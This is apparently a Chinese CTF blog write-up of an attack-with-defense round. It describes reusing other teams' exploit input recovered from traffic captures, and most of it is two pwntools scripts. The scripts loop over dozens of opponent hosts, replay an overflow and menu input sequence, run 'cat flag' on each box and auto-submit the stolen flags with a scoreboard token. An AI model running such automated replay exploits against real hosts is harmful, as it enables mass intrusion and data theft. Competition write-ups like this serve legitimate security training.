比赛模式为AWD
网络配置
PWN文件的下载
使用Sftp
步骤一:连接靶机
有一种是输入密码的
还有一种是用私钥文件认证的,这次比赛就是如此
步骤二:文件下载和上传
使用SSH
连接命令
当PWN遇上流量分析
写了两个利用攻击来源的流量包分析出的还有点用处的手动化脚本
有了第一天的经验,第二天直接分析流量包。而且比赛开始没几分钟,就有队伍PWN题打过来了,拿到packages看看
追踪TCP流
这是PWN2的
这是PWN3的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 1 0 985 10 985 0 1 1 2 1 2 1 1 2 3 2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa6 flappybird666666
|
打PWN2的脚本,我写的主要有几个问题
不能每隔十分钟自动跑,新的一轮要手动跑几次,但是后面也就是在跑这两个脚本了,然后改改一些小的地方,没别的事做,所以还好
有一些IP是修好的,或者是即使没有修好,输入输出流之间可能会有EOF错误(PWN师傅说要sleep一下,后续研究)导致有些会卡住程序运行,所以在手跑的时候,需要将连接不好又不能跳过的IP去掉一下
这个脚本大概每次会有20~35个flag提交成功,因为很多队伍,包括我们的一队都修好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
|
from pwn import * import requests
context.log_level = 'debug' token = '4vvfuKfBbHtTtEATCnwV3U4DxQVd5SwEHB8uxruSb4Hmj'
proxies = { 'http': '', 'https': '' }
def submit_flag(flag1): url_flag = 'http://10.16.18.1/api/v1/att_def/web/submit_flag/?event_id=14'
data = { 'flag': flag1, 'token': token } req = requests.post(url=url_flag, data=data, proxies=proxies) print(req.text)
debug = False x64 = True file = './pwn' libc_file = ''
ip = []
for i in range(1, 60): if i != 50: ip.append('172.35.' + str(i) + '.17')
ports = 9999 context.os = 'linux' if x64: context.arch = 'amd64' else: context.arch = 'i386' if debug: context.log_level = 'debug'
sd = lambda x: io.send(x) sl = lambda x: io.sendline(x) ru = lambda x: io.recvuntil(x) rl = lambda: io.recvline() ra = lambda: io.recv() rn = lambda x: io.recv(x) sla = lambda x, y: io.sendlineafter(x, y)
for ipi in ip: try: if ipi in ['172.35.7.17']: continue
io = remote(ipi, ports) ra() sl('12') sl('++++++++++X') sl('') sl('') sl('') sl('') sl('DJR') sl('') sl('') sl('cd ../') sl('cat flag') a = ra() submit_flag(a[:60]) io.close() except: pass
print(flag)
|
这是打PWN3的,平均每次可以得到45个flag,但后来发现这题几乎所有的队伍都没有防住,说是可能题目有问题patch了之后check不过,而且还被攻击,第一名的白泽正是如此,所以应该有接近60个的flag,看来中间还是有我没解决的实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
|
from pwn import * import requests
token = '4vvfuKfBbHtTtEATCnwV3U4DxQVd5SwEHB8uxruSb4Hmj'
proxies = { 'http': '', 'https': '' }
def submit_flag(flag1): url_flag = 'http://10.16.18.1/api/v1/att_def/web/submit_flag/?event_id=14'
data = { 'flag': flag1, 'token': token } req = requests.post(url=url_flag, data=data, proxies=proxies) print(req.text)
debug = False x64 = True file = './pwn' libc_file = ''
ip = []
for i in range(28, 60): if i != 50: ip.append('172.35.' + str(i) + '.18')
ports = 9999 context.os = 'linux' if x64: context.arch = 'amd64' else: context.arch = 'i386' if debug: context.log_level = 'debug'
sd = lambda x: io.send(x) sl = lambda x: io.sendline(x) ru = lambda x: io.recvuntil(x) rl = lambda: io.recvline() ra = lambda: io.recv() rn = lambda x: io.recv(x) sla = lambda x, y: io.sendlineafter(x, y) flag = False
for ipi in ip: try: if ipi in []: continue io = remote(ipi, ports) ra() sl('5') ra() sl('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') ra() sl('1') ra() sl('0') ra() sl('985') ra() sl('10') ra() sl('985') ra() sl('985') ra() sl('0') ra() sl('1') ra() sl('1') ra() sl('2') ra() sl('1') ra() sl('2') ra() sl('1') ra() sl('1') ra() sl('2') ra() sl('3') ra() sl('2') ra() sl('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa6') ra() sl('flappybird666666') ra() sl('cat flag') a = ra() if len(a) == 61: submit_flag(a[:60]) sl('cat flag') a = ra() if len(a) == 61: submit_flag(a[:60]) io.close() except: pass
|